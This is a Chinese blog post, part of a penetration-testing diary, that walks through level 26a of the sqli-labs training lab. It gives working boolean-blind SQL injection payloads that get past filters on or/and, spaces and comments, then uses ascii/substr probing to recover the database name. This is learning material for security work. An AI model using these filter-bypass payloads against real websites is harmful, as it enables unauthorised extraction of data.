在职老D渗透日记day19:sqli-labs靶场通关(第26a关)get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ‘)闭合

5.26a.第26a关 get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ')闭合

5.26a.1.手动注入
(1)判断注入类型、注入点
复制代码
?id=2'                  报错,字符型注入,判断'闭合
?id=2'%26%26'1'='1      返回id=1数据,判断不是'闭合
?id=2')%26%26'1'=('1    返回id=2数据,确定是')闭合
(2)猜解数据库长度

没有报错回显,不能用报错注入,用布尔盲注

复制代码
id=2')&&length(database())=8&&'1'=('1
使用&&替代and
&转义%26
?id=2')%26%26length(database())=8%26%26'1'=('1
(3)利用ascii猜解数据库名
复制代码
substr(string, start, length)    字符串截取函数
string是要处理的字符串
start是开始位置(从1开始计数)
length是要截取的长度

ascii()                         返回字符ascii码
大写字母范围:65 (A) ~  90 (Z)→ 连续递增,无间隔
小写字母范围:97 (a) ~ 122 (z)→ 连续递增,无间隔,大小写差值:32
26个小写字母ascii值
复制代码
a97    h104    o111    v118    
b98    i105    p112    w119
c99    j106    q113    x120
d100   k107    r114    y121
e101   l108    s115    z122
f102   m109    t116
g103   n110    u117    大写-32

?id=2')%26%26(ascii(substr(database(),1,1)))>100%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>200%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>150%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>125%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>112%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>120%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>116%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))=115%26%26'1'=('1    正常回显,数据库名第1个字母为s

?id=2')%26%26(ascii(substr(database(),2,1)))=101%26%26'1'=('1    正常回显,数据库名第2个字母为e

?id=2')%26%26(ascii(substr(database(),3,1)))=99%26%26'1'=('1     正常回显,数据库名第3个字母为c

?id=2')%26%26(ascii(substr(database(),4,1)))=117%26%26'1'=('1    正常回显,数据库名第4个字母为u

?id=2')%26%26(ascii(substr(database(),5,1)))=114%26%26'1'=('1   正常回显,数据库名第5个字母为r

?id=2')%26%26(ascii(substr(database(),6,1)))=105%26%26'1'=('1    正常回显,数据库名第6个字母为i

?id=2')%26%26(ascii(substr(database(),7,1)))=116%26%26'1'=('1    正常回显,数据库名第7个字母为t

?id=2')%26%26(ascii(substr(database(),8,1)))=121%26%26'1'=('1    正常回显,数据库名第8个字母为y

?id=2')%26%26(ascii(substr(database(),9,1)))=96%26%26'1'=('1     空
数据库名为security
相关推荐
探索者012 天前
SQL注入深度解析笔记:从DNSlog外带到高级绕过技术
web安全·sql注入
探索者015 天前
SQL注入介绍
web安全·sql注入
Nanhuiyu11 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 延迟注入(无防护)
web安全·sql注入·白帽江湖·延迟注入
Nanhuiyu11 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 布尔盲注(无防护)
web安全·sql注入·布尔盲注·白帽江湖
Nanhuiyu11 天前
白帽江湖实战靶场SQL注入篇:SQL注入 - 报错注入(无防护)
web安全·sql注入·报错注入·白帽江湖
HackTwoHub19 天前
全新 AI 赋能网安平台 基于 Mitmproxy 流量分析自动化资产挖、轻量化综合渗透工具箱
人工智能·web安全·网络安全·系统安全·安全架构·sql注入
HackTwoHub19 天前
开源AI渗透测试的终极形态,让渗透测试进入“自动驾驶“时代、让渗透测试全自动!
人工智能·web安全·网络安全·开源·系统安全·安全架构·sql注入
其实防守也摸鱼24 天前
《SQL注入进阶实验:基于sqli-Labs的报错注入(Error-Based Injection)实战解析》
网络·数据库·sql·安全·网络安全·sql注入·报错注入
锐速网络25 天前
渗透测试中如何验证漏洞真实存在
web安全·网络安全·渗透测试·漏洞复现·sql注入·文件上传漏洞·漏洞验证
味悲1 个月前
SQL预编译学习笔记
安全·sql注入